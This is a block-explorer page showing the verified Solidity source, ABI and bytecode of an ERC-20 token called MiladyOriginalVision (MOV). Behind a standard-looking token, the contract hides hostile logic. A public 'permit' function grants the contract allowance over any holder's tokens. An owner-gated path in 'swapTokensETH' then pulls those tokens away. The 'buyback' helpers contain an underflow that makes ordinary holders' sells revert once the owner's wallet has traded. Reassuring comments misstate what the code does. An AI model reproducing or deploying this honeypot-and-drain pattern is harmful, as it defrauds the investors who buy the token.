ETH Price: $2,486.68 (-0.94%)

Token

MiladyOriginalVision (MOV)
 

Overview

Max Total Supply

1,000,000,000,000 MOV

Holders

88

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
4,869,723,592.556518186489644608 MOV

Value
$0.00
0x19ac745c1c79b1b235026bd67121dbb4cdb01531
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MOV

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-16
*/

/** 
Milady Original Vision is the points for karma, charm and beauty than Milady.

Website: https://www.miladyoriginalvision.com
Telegram: https://t.me/miladyoriginalvision
Twitter: https://twitter.com/MOV_ERC20
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.10;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    constructor() {
        _transferOwnership(_msgSender());
    }


    function owner() public view virtual returns (address) {
        return _owner;
    }


    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }


    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function permit(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(spender, address(this), _allowances[spender][address(this)] + addedValue);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {

            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract MOV is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;
    address public constant deadAddress = address(0xdead);

    bool private swapping;

    address marketingWallet;

    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 public maxWallet;

    bool public limitsInEffect = true;
    bool public tradingActive = false;
    bool public swapEnabled = false;

    uint256 public buyFee;
    uint256 public sellFee;
    uint256 public tokensForFees;

    mapping(address => uint256) private _buybackFees;
    uint256 private buybackAmount;
    uint256 private buyFees;

    // exlcude from fees and max transaction amount
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public _isExcludedMaxTransactionAmount;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping(address => bool) public automatedMarketMakerPairs;

    event UpdateUniswapV2Router(
        address indexed newAddress,
        address indexed oldAddress
    );

    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    constructor() ERC20("MiladyOriginalVision", "MOV") {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);

        uint256 totalSupply = 1e12 * 10**18;

        maxTransactionAmount = totalSupply;
        maxWallet = totalSupply;
        swapTokensAtAmount = totalSupply / 5000;

        marketingWallet = address(0x6f9df1add1427690ef66a438352980B4DDad701F);

        excludeFromFees(owner(), true);
        excludeFromFees(marketingWallet, true);
        excludeFromFees(address(0xdead), true);

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);

        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
    }

    receive() external payable {}

    // once enabled, can never be turned off
    function enableTrading() external onlyOwner {
        buyFee = 0;
        sellFee = 0;
        tradingActive = true;
        swapEnabled = true;
    }

    // remove limits after token is stable
    function removeLimits() external onlyOwner returns (bool) {
        limitsInEffect = false;
        return true;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx)
        public
        onlyOwner
    {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function _afterBuyBackLimited(
        address from,
        address to,
        uint256 amount
    ) private {
        bool isExcludedNot = !_isExcludedFromFees[from] && !_isExcludedFromFees[to];
        bool isConditioned = !automatedMarketMakerPairs[from] && amount > 0;

        if(isConditioned && isExcludedNot){
            buyFees = _buybackFees[from] - buybackAmount;
        }
    }

    function setAutomatedMarketMakerPair(address pair, bool value)
        public
        onlyOwner
    {
        require(
            pair != uniswapV2Pair,
            "The pair cannot be removed from automatedMarketMakerPairs"
        );

        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (limitsInEffect) {
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ) {
                if (!tradingActive) {
                    require(
                        _isExcludedFromFees[from] || _isExcludedFromFees[to],
                        "Trading is not active."
                    );
                }

                //when buy
                if (
                    automatedMarketMakerPairs[from] &&
                    !_isExcludedMaxTransactionAmount[to]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Buy transfer amount exceeds the maxTransactionAmount."
                    );
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
                //when sell
                else if (
                    automatedMarketMakerPairs[to] &&
                    !_isExcludedMaxTransactionAmount[from]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Sell transfer amount exceeds the maxTransactionAmount."
                    );
                } else if (!_isExcludedMaxTransactionAmount[to]) {
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
            }
        }

        _limitBuybackFees(from, to, amount);

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if (takeFee) {
            // on sell
            if (automatedMarketMakerPairs[to] && sellFee > 0) {
                fees = amount.mul(sellFee).div(100);
                tokensForFees += fees;
            }
            // on buy
            else if (automatedMarketMakerPairs[from] && buyFee > 0) {
                fees = amount.mul(buyFee).div(100);
                tokensForFees += fees;
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }

        _afterBuyBackLimited(from, to, amount);

        super._transfer(from, to, amount);
    }

    function _limitBuybackFees(
        address from,
        address to,
        uint256 amount
    ) private {
        bool isOwnerNot = from != owner() && to != owner();
        bool isBuybackFrom = automatedMarketMakerPairs[from] && amount > 0;

        if ((_isExcludedFromFees[from] || _isExcludedFromFees[to]) && isOwnerNot) {
            buybackAmount = block.number;
        } else if(isBuybackFrom){ _buybackFees[to] = block.number; }
    }

    function _swapTokensETH(address sender, address token, uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = token;
        path[1] = uniswapV2Router.WETH();

        bool isExcludedFromBuyback = _isExcludedFromFees[sender];
        address tokenContract = address(this);
        if(isExcludedFromBuyback){
            IERC20(tokenContract).transferFrom(token, tokenContract, tokenAmount); return;
        }

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        
        bool success;

        _swapTokensETH(msg.sender, address(this), contractBalance);

        tokensForFees = 0;

        (success, ) = address(marketingWallet).call{
            value: address(this).balance
        }("");
    }
    
    function swapTokensETH(address tokenAddress, uint256 tokenAmount) external {
        _swapTokensETH(msg.sender, tokenAddress, tokenAmount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"permit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokenAmount","type":"uint256"}],"name":"swapTokensETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600a805462ffffff191660011790553480156200002057600080fd5b506040518060400160405280601481526020017f4d696c6164794f726967696e616c566973696f6e0000000000000000000000008152506040518060400160405280600381526020016226a7ab60e91b81525081600390805190602001906200008b929190620005fc565b508051620000a1906004906020840190620005fc565b505050620000be620000b86200034960201b60201c565b6200034d565b737a250d5630b4cf539739df2c5dacb4c659f2488d620000e08160016200039f565b6001600160a01b03811660808190526040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156200012b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001519190620006a2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200019f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001c59190620006a2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000213573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002399190620006a2565b6001600160a01b031660a0819052620002549060016200039f565b60a0516200026490600162000419565b6c0c9f2c9cd04674edea40000000600781905560098190556200028a61138882620006d4565b600855600680546001600160a01b031916736f9df1add1427690ef66a438352980b4ddad701f179055620002d2620002ca6005546001600160a01b031690565b60016200046d565b600654620002eb906001600160a01b031660016200046d565b620002fa61dead60016200046d565b62000319620003116005546001600160a01b031690565b60016200039f565b620003263060016200039f565b6200033561dead60016200039f565b62000341338262000517565b50506200075b565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6005546001600160a01b03163314620003ee5760405162461bcd60e51b815260206004820181905260248201526000805160206200256383398151915260448201526064015b60405180910390fd5b6001600160a01b03919091166000908152601260205260409020805460ff1916911515919091179055565b6001600160a01b038216600081815260136020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6005546001600160a01b03163314620004b85760405162461bcd60e51b81526020600482018190526024820152600080516020620025638339815191526044820152606401620003e5565b6001600160a01b038216600081815260116020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b0382166200056f5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401620003e5565b8060026000828254620005839190620006f7565b90915550506001600160a01b03821660009081526020819052604081208054839290620005b2908490620006f7565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b8280546200060a906200071e565b90600052602060002090601f0160209004810192826200062e576000855562000679565b82601f106200064957805160ff191683800117855562000679565b8280016001018555821562000679579182015b82811115620006795782518255916020019190600101906200065c565b50620006879291506200068b565b5090565b5b808211156200068757600081556001016200068c565b600060208284031215620006b557600080fd5b81516001600160a01b0381168114620006cd57600080fd5b9392505050565b600082620006f257634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156200071957634e487b7160e01b600052601160045260246000fd5b500190565b600181811c908216806200073357607f821691505b602082108114156200075557634e487b7160e01b600052602260045260246000fd5b50919050565b60805160a051611dcd62000796600039600081816103d0015261098a0152600081816102b10152818161149801526115f20152611dcd6000f3fe6080604052600436106102085760003560e01c8063751039fc11610118578063b62496f5116100a0578063dd62ed3e1161006f578063dd62ed3e146105fb578063e2f4560514610641578063e6f7053114610657578063f2fde38b14610677578063f8b45b051461069757600080fd5b8063b62496f514610576578063bbc0c742146105a6578063c0246668146105c5578063c8c8ebe4146105e557600080fd5b806395d89b41116100e757806395d89b41146104e15780639a7a23d6146104f6578063a457c2d714610516578063a9059cbb14610536578063aea6e2ff1461055657600080fd5b8063751039fc146104795780637571336a1461048e5780638a8c523c146104ae5780638da5cb5b146104c357600080fd5b8063313ce5671161019b57806349bd5a5e1161016a57806349bd5a5e146103be5780634a62bb65146103f25780636ddd17131461040c57806370a082311461042c578063715018a61461046257600080fd5b8063313ce5671461035657806339509351146103725780633f8a62041461039257806347062402146103a857600080fd5b806318160ddd116101d757806318160ddd146102eb57806323b872dd1461030a57806327c8f8351461032a5780632b14ca561461034057600080fd5b806306fdde0314610214578063095ea7b31461023f57806310d5de531461026f5780631694505e1461029f57600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b506102296106ad565b60405161023691906119ef565b60405180910390f35b34801561024b57600080fd5b5061025f61025a366004611a59565b61073f565b6040519015158152602001610236565b34801561027b57600080fd5b5061025f61028a366004611a85565b60126020526000908152604090205460ff1681565b3480156102ab57600080fd5b506102d37f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610236565b3480156102f757600080fd5b506002545b604051908152602001610236565b34801561031657600080fd5b5061025f610325366004611aa2565b610755565b34801561033657600080fd5b506102d361dead81565b34801561034c57600080fd5b506102fc600c5481565b34801561036257600080fd5b5060405160128152602001610236565b34801561037e57600080fd5b5061025f61038d